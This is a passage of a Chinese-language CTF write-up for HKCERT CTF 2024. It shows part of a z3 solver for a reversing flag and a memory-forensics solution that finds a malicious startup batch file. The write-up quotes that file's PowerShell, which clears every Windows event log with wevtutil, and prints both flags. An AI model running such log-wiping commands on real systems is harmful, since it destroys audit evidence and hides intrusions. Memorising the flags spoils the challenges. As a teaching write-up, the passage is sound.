x.add(a[6]^a[7]==0x6)
x.add(a[38]^a[39]==0x5c)
x.add(a[3]^a[4]==0x17)
x.add(a[23]^a[24]==0x3c)
x.add(a[35]^a[36]==0x4)
x.add(a[13]^a[14]==0x32)
x.add(a[8]^a[9]==0x8)
x.add(a[41]^a[42]==0x5e)
x.add(a[2]^a[3]==0x6)
x.add(a[20]^a[21]==0x5f)
x.add(a[18]^a[19]==0x1f)
x.add(a[47]^a[48]==0x59)
x.add(a[52]^a[53]==0x41)
x.add(a[5]^a[6]==0x46)
x.add(a[25]^a[26]==0x54)
x.add(a[50]^a[51]==0x43)
x.add(a[15]^a[16]==0x54)
x.add(a[30]^a[31]==0x58)
x.add(a[17]^a[18]==0x57)
x.add(a[28]^a[29]==0x2b)
x.add(a[4]^a[5]==0x6)
x.add(a[0]^a[1]==0x3)
x.add(a[9]^a[10]==0x40)
x.add(a[31]^a[32]==0x6f)
x.add(a[33]^a[34]==0x1c)
x.add(a[27]^a[28]==0x6c)
x.add(a[43]^a[44]==0xb)
x.add(a[24]^a[25]==0x53)
x.add(a[36]^a[37]==0x6a)
x.add(a[33]^a[34]==0x1c)
x.add(a[16]^a[17]==0x55)
x.add(a[34]^a[35]==0x59)
x.add(a[0]==ord('h'))
x.add(a[54]==ord('}'))
if x.check()==z3.sat:
print("success")
m=x.model()
for i in a:
if m[i] is not None:
print(chr(m[i].as_long()),end='')
print("")
else:
print("failed")
#hkcert24{s3lf_m0d1fy1ng_c0d3_th0_th15_i5_n0T_A_m4lw4r3}
Forensic
Where's the APT Attack
MemProcFS复原.mem文件。
在M:forensicntfs1Usersnight01AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup
目录下的windows startup程序中看到异常.bat启动文件。
拿到加密后的字符串。
function Clear-EventLogs {
wevtutil el | Foreach-Object {wevtutil cl "$_"}
}
Clear-EventLogs
$base64String = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($originalString))
$newString = $base64String[-1..-$base64String.Length] -join ''
$newString = "03YxUjbzIHMm9VeyBTbz02X1EDa38lbw8lbwEzNjNjcxQ2XkBDM281ajRzN3QzX3AHN7RjM0JXZjtGa"
Clear-EventLogs
反转一次再base64即可
hkcert24{4p7_4774ck_600d_d1r3c710n_0n_7h15_m3m0ry_f0r3n51c}
作者
CTF战队
ctf.wgpsec.org
原文始发于微信公众号(WgpSec狼组安全团队):香港網安奪旗賽 HKCERT CTF · 2024 WriteUp
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论